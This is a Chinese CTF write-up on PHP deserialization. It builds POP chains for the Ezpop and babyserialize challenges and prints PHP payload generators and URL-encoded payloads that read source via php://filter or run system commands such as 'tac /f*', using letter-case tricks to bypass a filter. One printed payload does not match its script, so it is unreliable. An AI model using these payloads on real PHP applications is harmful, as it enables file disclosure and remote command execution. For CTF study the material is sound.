关于ctf反序列化题的一些见解（[MRCTF2020]Ezpop以及[NISACTF 2022]babyserialize）

news2024/9/23 19:28:55

这里对php反序列化做简单了解

在PHP中，序列化用于存储或传递 PHP 的值的过程中，同时不丢失其类型和结构。

serialize（） 函数序列化对象后，可以很方便的将它传递给其他需要它的地方，且其类型和结构不会改变

如果想要将已序列化的字符串变回 PHP 的值，可使用用unserialize()

当在反序列化后不同的变量和引用方法会调出不同的php魔法函数

php魔法函数

__wakeup()：在执行unserialize时，会最先调用这个函数

__sleep()：在执行serialize时，会最先调用这个函数

__destruct()：当对象被销毁时会调用这个函数

__call()：当对象在上下文中调用不可访问或不存在的方法时调用

__callStatic()：在静态上下文中嗲用不可访问或者不存在的方法时调用
__get()：当访问不存在或没有权限的对象或键值时调用
__isset()：在不可访问的属性上调用isset()时调用
__unset()：在不可访问的属性上调用unset()时调用
__toString()：当把对象（类）当作字符串调用时调用此函数
__invoke()：尝试把对象作为函数使用时会调用

__construct()：是类中的一种特殊函数，当使用new关键字实例化一个对象时函数将会调用

__set()： 当我们给一个不存在或不可访问的属性赋值时，PHP会自动调用__set方法。

[MRCTF2020]Ezpop

打开题目从整体来大致分析，pop来传参最后需要利用到定义好的append来包含文件文件

做这种题最终要的就是逆向分析，先找到需要利用的点，再一点一点往回推

将代码里的全部类都复制到php在线执行里，然后只留下类里的变量

例如：

在最开始提过，PHP中序列化用于存储或传递 PHP 的值的过程中，同时不丢失其类型和结构，并且我们只需要去控制他的变量就好

####可以继续往下看后面再来慢慢理解

现在进行代码分析

modifier类里有变量var和两个函数

  1. 首先定义好了函数append，而append函数里就有我们需要利用的include函数
  2. 魔法函数__invoke里使用了append函数并且值是modifier类里的变量var

所以这里我们给var赋值我们想执行的命令然后想办法调用invoke

invoke() -> append()

invoke函数：当把变量当函数使用时调用

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

test类里有一个变量两个函数

  1. constuct函数并没有什么用，只是给p变量赋值
  2. get函数函数这里会给变量function函数赋值变量p，并且把变量function当函数引用

到这里get函数里return $function()把变量当函数用了，所以能调出__invoke()函数

get() --> invoke() --> append()

后面就得找怎么调用get函数

get函数：当访问不存在或者没有权限的变量或键值时调用

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

 show类里有两个变量三个函数

  1. construct并没有什么利用价值只是当有new实例化一个对象时会输出index.php的代码
  2. tostring当有类被当作字符串用时会调用并返回这个类里的str里的source变量
  3. wakeup当调用到unserialize时第一个调用，wakeup函数里有用到preg_match函数并且调用了source

这里就能利用到tostring()函数里的return $this->str->source这段，应为show类里变量str里没有source变量，所以这里返回了一个不存在的变量，这里就能调用到__get函数

tostring() --> get() --> invoke() --> append()

再然后需要调用到tostring()函数，而wakeup函数里刚好又要调用变量source当作字符串，那么就可以给变量source赋值一个类，那么不久可以调用到tostring函数了吗

wakeup() --> tostring() --> get() --> invoke() --> append()

wakeup函数再unserialieze时就会自动调用，所以到这里就完全解析完了

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

wakeup() --> tostring() --> get() --> invoke() --> append()

这里总结一下：用show类里的函数wakeup调出show类里的tostring函数，然后通过tostring函数调出test类里的get函数，get函数调出modifier类里的invoke函数最后调出我们需要用到的append

<?php
//wakeup() --> tostring() --> get() --> invoke() --> append()
//var变量里写入我们需要用的命令
class Modifier {
	//这里是应为他最开始以及直接告诉flag再flag.php了所以直接PHP伪协议去读
    protected  $var = 'php://filter/read=convert.base64-encode/resource=index.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
//把第一个要用的类new实例化一下
$a = new Show;
//wakeup() --> tostring()
$a->source=new Show;
//tostring() --> get()
$a->source->str=new Test;
//get() --> invoke()
$a->source->str->p=new Modifier;
//最后需要url编辑一下，不然怕识别不了
echo urlencode(serialize($a));
?>

payload: O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BN%3Bs%3A3%3A%22srt%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A22%3A%22system%28%22ls+..%2F..%2F..%2F%22%29%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

得到flag

[NISACTF 2022]babyserialize

还是老样子，拿到题目先大致的看一下入侵点

这里能看到最后是利用到NISA类里的invoke函数里的eval，那么就可以从这里开始倒推

首先要知道我们需要调出invoke函数，就得找到那里有把对象当函数用的。

这里就用到了tostring函数，里面给$bb赋值了$su，所以$bb是一个变量，但是return的是$bb()返回的是函数，所以调用到了invoke

这里给$su=new NISA

tostring->invoke

现在找代码里那里有调用字符串的地方，看怎么调出tostring函数

这里的strtolower会以字符串的方式调用变量a把它变成全部小写

#####这里if里面的条件很奇怪，里面用的是一个等号=相当于是赋值，没理解到是什么意思，很容易让人误解

这里如果我们让$a=new Ilovetxw那么这里就调用了类当作字符串就可以调用Ilovetxw里的tostring函数

set->tostring->invoke

set函数需要给不存在或者权限不够的变量赋值时才会调用

这里能看到call函数里会给它自己里的huang变量里的fun变量赋值，而four里又刚好有一个处于保护状态的fun变量不能赋值

如果给Ilovetxw类里的huang变量赋值new four那么就达成了给没有权限的变量赋值的条件调用了set函数

call->set->tostring->invoke

call函数当引用不存在或者没权限的函数时会调用

这里能看到wakeup函数里会调用这个类里的ext变量里的nisa函数，但是这个类里的ext里时不存在nisa函数的

如果给ext赋值new Ilovetxw但是Ilovetxw类里依然没有nisa()这个函数所以这样就达成了引用call函数的条件，wakeup函数当unserialize执行时会自动调用所以不用管

wakeup->call->set->tostring->invoke

  1. 最后这里很重要这里似乎某个代码做了防护
  2. NISA类里的wakeup函数刚好又调用了hint函数，hint函数最后用注释提示了会直接退出

第一个问题可以后续慢慢尝试看过滤什么函数

第二个问题要执行hint函数首先得fun变量等于show_me_flag，在编写php代码的时候更改

这里我先给出我写的代码

####随便找一个php在线网站都可以编译

<?php
//wakeup->call->set->tostring->invoke
class NISA{
	//更改变量绕过执行hint
    public $fun="111";
	//赋值需要执行的命令
    public $txw4ever='system("ls ../../../")';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new TianXiWei;
//wakeup->call
$a->ext=new Ilovetxw;
//call->set
$a->ext->huang=new four;
//set->tostring
$a->ext->huang->a=new Ilovetxw;
//tostring->invoke
$a->ext->huang->a->su= new NISA;

echo urlencode(serialize($a));
?>

payload：O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A22%3A%22system%28%22ls+..%2F..%2F..%2F%22%29%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

这里上传payload显示somenthing wrong

这里就触发了这里的提示说明使用的命令被拦了

尝试一下大小写绕过

最后的poc

<?php
//wakeup->call->set->tostring->invoke
class NISA{
	//更改变量绕过执行hint
    public $fun='111';
	//赋值需要执行的命令，这里用/f*是把所有f开头的看一遍
    public $txw4ever='sYstem("tac /f*")';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new TianXiWei;
//wakeup->call
$a->ext=new Ilovetxw;
//call->set
$a->ext->huang=new four;
//set->tostring
$a->ext->huang->a=new Ilovetxw;
//tostring->invoke
$a->ext->huang->a->su= new NISA;
echo urlencode(serialize($a));
?>

最后上传参数就能得到flag

总结：

像这种pop链的题一定要多练习多记，做多了就有感觉了

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1311214.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Python FuckIt模块：代码的“不死鸟”

Python FuckIt模块：代码的“不死鸟”

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 在编程世界中&#xff0c;每个开发者都曾遇到过代码中的错误&#xff0c;有时这些错误可能让人崩溃。但是&#xff0c;有一天&#xff0c;听说了一个叫做"FuckIt"的模块&#xff0c;它声称可以帮助摆脱…
阅读更多...
ASP.NET Core 8 在 Windows 上各种部署模型的性能测试

ASP.NET Core 8 在 Windows 上各种部署模型的性能测试

ASP.NET Core 8 在 Windows 上各种部署模型的性能测试 我们知道 Asp.net Core 在 windows 服务器上部署的方案有 4 种之多。这些部署方案对性能的影响一直以来都是靠经验。比如如果是部署在 IIS 下&#xff0c;那么 In Process 会比 Out Process 快&#xff1b;如果是 Self Hos…
阅读更多...
计算机操作系统-第十六天

计算机操作系统-第十六天

目录 线程的实现方式 用户级线程 内核级线程 多线程模型 一对一模型 多对多模型 多对多模型 本节思维导图 线程的实现方式 用户级线程 历史背景&#xff1a;早期操作系统只支持进程&#xff0c;不支持线程&#xff0c;当时的线程是由线程库实现的 本质&#xff1a;从…
阅读更多...
zabbix简单介绍2

zabbix简单介绍2

学习目标: 能够实现一个web页面的监测能够实现自动发现远程linux主机能够通过动作在发现主机后自动添加主机并链接模板能够创建一个模版并添加相应的元素(监控项,图形,触发器等)能够将主机或模板的配置实现导出和导入能够实现至少一种报警方式(邮件,微信等)能够通过zabbix_pro…
阅读更多...
中兴 H108NS 路由器 tools_admin.asp权限绕过漏洞复现

中兴 H108NS 路由器 tools_admin.asp权限绕过漏洞复现

0x01 产品简介 中兴H108NS路由器是一款集WiFi管理、路由分配、动态获取上网连接等功能于一体的路由器产品。 0x02 漏洞概述 中兴H108NS路由器tools_admin.asp接口处存在身份认证绕过漏洞，攻击者可利用该漏洞绕过身份认证允许访问路由器的管理面板修改管理员密码，获取用户的…
阅读更多...
全志V3s之U-Boot

全志V3s之U-Boot

1、安装交叉编译器&#xff1a; ARM交叉编译器的官网&#xff1a;交叉编译器 a、使用wget下载&#xff1a; wget https://releases.linaro.org/components/toolchain/binaries/latest/arm-linux-gnueabihf/gcc-linaro-6.3.1-2017.05-x86_64_arm-linux-gnueabihf.tar.xzb、解…
阅读更多...
关于“Python”的核心知识点整理大全12

关于“Python”的核心知识点整理大全12

目录 6.3.3 按顺序遍历字典中的所有键 6.3.4 遍历字典中的所有值 6.4 嵌套 6.4.1 字典列表 aliens.py 6.4.2 在字典中存储列表 pizza.py favorite_languages.py 注意 往期快速传送门&#x1f446;&#xff08;在文章最后&#xff09;&#xff1a; 6.3.3 按顺序遍历字…
阅读更多...
a16z：加密行业2024趋势“无缝用户体验”

a16z：加密行业2024趋势“无缝用户体验”

近日&#xff0c;知名加密投资机构a16z发布了“Big ideas 2024”&#xff0c;列出了加密行业在 2024 年几个具备趋势的“大想法”&#xff0c;其中 Seamless UX&#xff08;无缝用户体验&#xff09;赫然在列。 从最为直观的理解上&#xff0c;Seamless UX 是在强调用户在使用产…
阅读更多...
物联网时代的访问控制研究综述

物联网时代的访问控制研究综述

A survey on Access Control in the Age of Internet of Things 文章目录 A B S T R A C T引言A. Comparison Between This Paper and Existing SurveysB. Contributions II.ACCESS CONTROL BACKGROUNDIII. ACCESS CONTROL CHALLENGES IN IOT SEARCHA. Characteristics of IoT …
阅读更多...
一个简单得爬虫小案例：获取西瓜网视频数据【python】

一个简单得爬虫小案例：获取西瓜网视频数据【python】

嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! python更多源码/资料/解答/教程等 点击此处跳转文末名片免费获取 第三方模块: requests >>> pip install requests 环境介绍: python 3.8 解释器 pycharm 编辑器 思路分析 找到数据来源 你要爬取的视频 筛选 找不…
阅读更多...
EasyX图形化学习（二）

EasyX图形化学习（二）

1.消息处理---鼠标消息&#xff1a; 1.ExMessage结构体&#xff1a; ExMessage---这个结构体用于保存鼠标消息。 //定义消息结构体变量 ExMessage msg { 0 }; 2.获取消息&#xff1a; &#xff08;1&#xff09;peekmessage函数&#xff1a;用于获取一个消息&#xff0c;…
阅读更多...
leetcode面试经典150题——36 旋转图像

leetcode面试经典150题——36 旋转图像

题目&#xff1a; 旋转图像 描述&#xff1a; 给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。 你必须在 原地 旋转图像&#xff0c;这意味着你需要直接修改输入的二维矩阵。请不要 使用另一个矩阵来旋转图像。 示例 1&#xff1a; 输入&#x…
阅读更多...
【论文阅读】LoRA: Low-Rank Adaptation of Large Language Models

【论文阅读】LoRA: Low-Rank Adaptation of Large Language Models

code&#xff1a;GitHub - microsoft/LoRA: Code for loralib, an implementation of "LoRA: Low-Rank Adaptation of Large Language Models" 做法&#xff1a; 把预训练LLMs里面的参数权重给冻结&#xff1b;向transformer架构中的每一层&#xff0c;注入可训练的…
阅读更多...
MYSQL练题笔记-子查询-换座位

MYSQL练题笔记-子查询-换座位

一、题目相关内容 1&#xff09;相关的表和题目 2&#xff09;帮助理解题目的示例&#xff0c;提供返回结果的格式 二、自己初步的理解 没啥思路&#xff0c;我还没做过交换的这种题&#xff0c;所以我觉得这类交换的题以后值得做一个合集&#xff0c;是有点灵活度在里面的&a…
阅读更多...
智能优化算法应用：基于黄金正弦算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用：基于黄金正弦算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于黄金正弦算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于黄金正弦算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.黄金正弦算法4.实验参数设定5.算法结果6.…
阅读更多...
【Proteus仿真】【51单片机】视力保护仪

【Proteus仿真】【51单片机】视力保护仪

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 本项目使用Proteus8仿真51单片机控制器&#xff0c;使LCD1602液晶&#xff0c;按键、HC-SR04超声波、PCF8591 ADC、光敏传感器、蜂鸣器、LED等。 主要功能&#xff1a; 系统运行后&#xff0c;LCD1602显示…
阅读更多...
云计算：Vmware 安装 FusionCompute

云计算：Vmware 安装 FusionCompute

目录 一、理论 1.FusionCompute 二、实验 1.Vmware 安装 FusionCompute&#xff08;CNA&#xff09; 2.Vmware 安装 FusionCompute&#xff08;VRM&#xff09; 三、问题 1. VRM-WEB登录失败 2.Windows cmd中无法ping通虚拟机 一、理论 1.FusionCompute &#xff08;…
阅读更多...
【C语言】操作符详解（四）:结构成员访问操作符

【C语言】操作符详解（四）:结构成员访问操作符

结构成员访问操作符 结构体 ⭐C语言已经提供了内置类型&#xff0c;如: char、short、int、long、float、double等&#xff0c;但是只有这些内置类型还是不够的&#xff0c;假设我想描述学生&#xff0c;描述一本书&#xff0c;这时单一的内置类型是不行的。描述一个学生需要名…
阅读更多...
Android VpnService 使用(一)

Android VpnService 使用(一)

Android VpnService 使用(一) 本篇算是VpnService 使用的第一篇文章,主要讲述service创建,intent调用. 1: 申请权限 <service android:name".MyVpnService" android:permission"android.permission.BIND_VPN_SERVICE"><intent-filter><ac…
阅读更多...
如何将xlsx中的数据通过datagrep导入到mysql数据库表中

如何将xlsx中的数据通过datagrep导入到mysql数据库表中

在将xlsx数据通过datagrep导入到mysql数据库表中之前需要将xlsx数据导出为csv结尾的格式&#xff0c;因为如果不以csv格式导入会出现乱码。 详细步骤 1、是导入到数据库中没有表 找到对应的数据库&#xff0c;右键点击 选择需要导入的文件&#xff0c;注意一定要选择csv格式…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023